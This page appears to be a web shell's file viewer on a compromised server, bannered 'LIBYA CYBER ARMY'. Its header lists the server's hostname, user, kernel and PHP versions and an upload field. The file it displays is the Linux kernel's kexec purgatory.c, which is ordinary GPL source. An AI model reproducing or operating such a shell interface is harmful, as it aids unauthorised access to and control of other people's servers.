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LIBYA CYBER ARMY
Logo of a company Instagram@3g86    Server : Apache
System : Linux uta-edu.server.ly 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : utripoli ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/src/kernels/4.18.0-553.50.1.el8_10.x86_64/arch/x86/purgatory/

Upload File :
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Current File : //usr/src/kernels/4.18.0-553.50.1.el8_10.x86_64/arch/x86/purgatory/purgatory.c
/*
 * purgatory: Runs between two kernels
 *
 * Copyright (C) 2014 Red Hat Inc.
 *
 * Author:
 *       Vivek Goyal <vgoyal@redhat.com>
 *
 * This source code is licensed under the GNU General Public License,
 * Version 2.  See the file COPYING for more details.
 */

#include <linux/bug.h>
#include <crypto/sha.h>
#include <asm/purgatory.h>

#include "../boot/string.h"

u8 purgatory_sha256_digest[SHA256_DIGEST_SIZE] __section(.kexec-purgatory);

struct kexec_sha_region purgatory_sha_regions[KEXEC_SEGMENT_MAX] __section(.kexec-purgatory);

static int verify_sha256_digest(void)
{
	struct kexec_sha_region *ptr, *end;
	u8 digest[SHA256_DIGEST_SIZE];
	struct sha256_state sctx;

	sha256_init(&sctx);
	end = purgatory_sha_regions + ARRAY_SIZE(purgatory_sha_regions);

	for (ptr = purgatory_sha_regions; ptr < end; ptr++)
		sha256_update(&sctx, (uint8_t *)(ptr->start), ptr->len);

	sha256_final(&sctx, digest);

	if (memcmp(digest, purgatory_sha256_digest, sizeof(digest)))
		return 1;

	return 0;
}

void purgatory(void)
{
	int ret;

	ret = verify_sha256_digest();
	if (ret) {
		/* loop forever */
		for (;;)
			;
	}
}

/*
 * Defined in order to reuse memcpy() and memset() from
 * arch/x86/boot/compressed/string.c
 */
void warn(const char *msg) {}

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